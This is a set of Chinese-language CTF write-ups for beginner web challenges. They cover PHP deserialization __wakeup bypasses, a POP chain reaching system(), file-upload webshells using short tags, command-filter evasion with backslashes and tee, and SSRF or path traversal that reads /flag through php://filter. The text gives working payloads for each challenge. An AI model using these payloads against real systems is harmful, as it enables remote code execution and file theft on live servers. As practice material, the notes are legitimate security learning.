[SWPUCTF 2021 新生赛]no_wakeup
查看PHP
回到页面访问php,访问结果如下
前面还比较好理解给出用户名和密码,但是后面就出现一个函数,我们应该要绕过它,
接着往下看一下,它需要admin=admin,然后就passwd=wllm,如果可以满足这个条件,就可以拿到flag了,现在关键的问题就是我们要绕过函数。
__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行
程序调用反序列化方法时,会自动执行__weakup()函数
payload
p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
如果我们这里是填2,也就是刚好等与两个属性,是达不到绕过的目的,所以我们要填大于2的数字。第一次访问不了的时候,我们要多尝试一下。
[SWPUCTF 2022 新生赛]ez_1zpop
<?php
error_reporting(0);
class dxg
{
function fmm()
{
return "nonono";
}
}
class lt
{
public $impo='hi';
public $md51='weclome';
public $md52='to NSS';
function __construct()
{
$this->impo = new dxg;
}
function __wakeup()
{
$this->impo = new dxg;
return $this->impo->fmm();
}
function __toString()
{
if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
return $this->impo->fmm();
}
function __destruct()
{
echo $this;
}
}
class fin
{
public $a;
public $url = 'https://www.ctfer.vip';
public $title;
function fmm()
{
$b = $this->a;
$b($this->title);
}
}
if (isset($_GET['NSS'])) {
$Data = unserialize($_GET['NSS']);
} else {
highlight_file(__file__);
}
- GET方式传递参数NSS,反序列化NSS
- 在类fin中存在着fmm方法,该方法可以执行任意命令;
- 类lt中,存在魔术方法tostring,该方法时可以执行fmm方法的;但是需要满足md5弱类型检测;同时变量impo的值需要是fin类;
- 因此我们还要让impo变量的值为fin类,同时需要绕过wakeup函数
- 小经验:__construct函数在反序列化题直接删掉,它只在初始化时生效
在fin类中,fmm方法通过给b赋值后,当函数调用,如果给b赋值后,当函数调用,如果给b=‘system’
title再传入我们想要的命令
最后就可得到例,system(‘ls’) => a=′system′;a=′system′;title=‘目标命令’
在lt中
反序列化触发__wakeup,__destruct,__wakeup方法中,给impo实例一个dxg对象,并直接return,无法获取有效信息,所以没有什么用,绕过__wakeup的方法很简单,只需要将反序列化后的字符串,将对象属性数量改大
md5的弱比较也需要绕过。
__destruct方法触发就很简单了,将自己当字符串输出,直接触发__toString方法,返回fmm方法
__toString(): 当一个对象被当作字符串使用时触发
与前面的一样这一道题同样要绕过__wakeup
<?php
error_reporting(0);
class lt
{
public $impo ;
public $md51 = 's878926199a';
public $md52 = 's155964671a';
}
class fin
{
public $a='system';
public $url = 'https://www.ctfer.vip';
public $title='ls /';
}
$a=new lt();
$a->impo=new fin();
echo serialize($a);
//O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:4:"ls /";}s:4:"md51";s:11:"s878926199a";s:4:"md52";s:11:"s155964671a";}
payload
?NSS=O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:11:"s878926199a";s:4:"md52";s:11:"s155964671a";}
对这道题的思路还不是很清楚,后面还有待理解。
[SWPUCTF 2022 新生赛]funny_web
简单的尝试一下,提示用户名是实验室名,应该是NSS,目前知道的信息就只有那么多
继续尝试一下,又有了新的提示,查了看看就是私货不去细细研究了,直接看吧
密码是2122693401
,登录,得到源代码
这里num不等于12345,intval是取整函数,遇到非数字就停,那直接12345a,或者是小数点也是可以的。小数如12345.5即可
num=12345a
[SWPUCTF 2022 新生赛]file_master
这是文件上传,先上传图片类型的吧
看看index.php得到源码
白名单里面有了限制,只允许image/jpeg
所以刚刚的图片可以上传
但提示图像的宽和高必须小于20,看了其他师傅的做法,直接定义
#去掉文件头GIF89a
加上下面两句:
加上就可以上传成功了
#define height 1
#define width 1
接着上传一句话木马,发现被检测了,去掉php就没事
php短标签绕过
php中最常见的标签为<?php ?>
不过在题目上传时可能会被waf过滤掉php关键字。根据查询结果,还有四种php的标签,分别是:
①<? ?> 仅在配置short_open_tag=on时可以使用,适合执行php语句;
②<?= ?>即使配置short_open_tag=off时依然可以使用,相当于<?php echo ?>,适合输出php语句~
上述二者的短标签都不必闭合 即?>可以省略不写,也可以连接成功
一句话木马
存在文件头检测,那就加个文件头GIF89a,但是出现上面的过滤,进行一下限制
记得去掉上面的那个phpinfo(),有了就会报错,去掉之后可以上传成功
<?= ?>可以代替php标签。<?= ?>短标签会直接把php的结果输出,<? ?>的功能则和<?php?>完全一样。
然后找一下sessionid
访问上传成功的路径,sessionid加上filename就行
[SWPUCTF 2021 新生赛]finalrce
发现许多东西都被过滤了,我们就要换命令了。
?url=l\s / | tee 1.txt # 之后访问我们传入的文件1.txt,发现命令被执行,再去访问1.txt
再传入 ?url=tac /flllll\aaaaaaggggggg | tee 2.txt #然后访问2.txt
在两次传入之后我们都要访问相应的文件,因为内容已经被我们输入进去了,再次访问就是看到相应的
需要注意la也被过滤了
preg_match 函数用于执行一个正则表达式匹配,这里看到基本上过滤了很多命令cat,ls这种都不能使用了 可以使用tee命令
由于ls正则表达被过滤,所以我们还需要绕过preg_match 可以使用反斜杠(\)转义字符
这里的tee功能是从标准输入读取,再写入标准输出和文件 Payload:?url=l\s / |tee 1.txt 然后访问1.txt看到flllllaaaaaaggggggg
Tee命令是一个命令行工具,它从标准输入读取数据,同时将结果打印到文件中和标准输出到屏幕中。
tac命令其实就是cat命令的倒序版,与cat命令不同的是,它会先输出最后一行,然后是倒数第二行,以此类推
tac命令也可以与其他Linux命令一起使用,比如通过管道将tac命令的输出传递到grep命令中,对文件内容进行过滤。
tac filename | grep "keyword"
这条命令可以筛选出filename中的keyword关键字
[NISACTF 2022]easyssrf
这里说是输入要CURL的网站,我尝试了一下使用www.baidu.com,然后查看了一下回显
但是没有什么新的发现,尝试一下flag,发现就会有回显,接着用file://访问一下
后面会接着有新的回显,出现php,在url访问一下
发现了file_get_contents()这个函数,ssrf需要注意的一个函数。
师傅们的做法
我们分析一下这个代码,也就是我们要在url里面传入一个file的值,判断文件中是否包含"file"字符串 ,如果包含的话,输出 "你败了.",最后,通过 file_get_contents($file) 函数来读取文件内容并输出。这里我能想到的是ssrf结合一下php://filter,来拿到这个文件。ssrf结合伪协议来读取文件,读取/flag
payload: ?file=php://filter/read=convert.base64-encode/resource=/flag
TlNTQ1RGe2FkMWYwMmJmLTE2MDEtNDNmOC04YWQ0LWYyZDU1ZmQwNTg1NH0K
最后base解密就可以了
第二种方法
这个方法是这样的,因为是读取到一个文件对吧,我们是不是可以想到文件包含,想到文件包含,而且它也没有对../进行过滤,我们可以直接通过文件包含漏洞得到flag
payload://php?file=../../../../../../..//flag 也是在访问过php过后
对ssrf不是很了解
SSRF(Server-Side Request Forgery,服务器端请求伪造),漏洞形成的原因主要是服务器端所提供的接口中包含了所要请求内容的URL参数,并且未对客户端所传输过来的URL参数进行过滤,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。因此存在SSRF漏洞的服务器通常被作为跳板机来取得外网或内网其它应用服务器的信息。
协议利用:
包括但不仅限于:
file协议:可以通过file协议来读取系统的文件内容
dict协议:字典服务器协议,让客户端能够访问更多字典源。在SSRF中可以获取目标服务器上运行的服务版本等信息
gopher协议:gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。使用gopher协议时,通过控制访问的URL可实现向指定的服务器发送任意内容,如HTTP请求、MySQL请求等,所以其攻击面非常之广。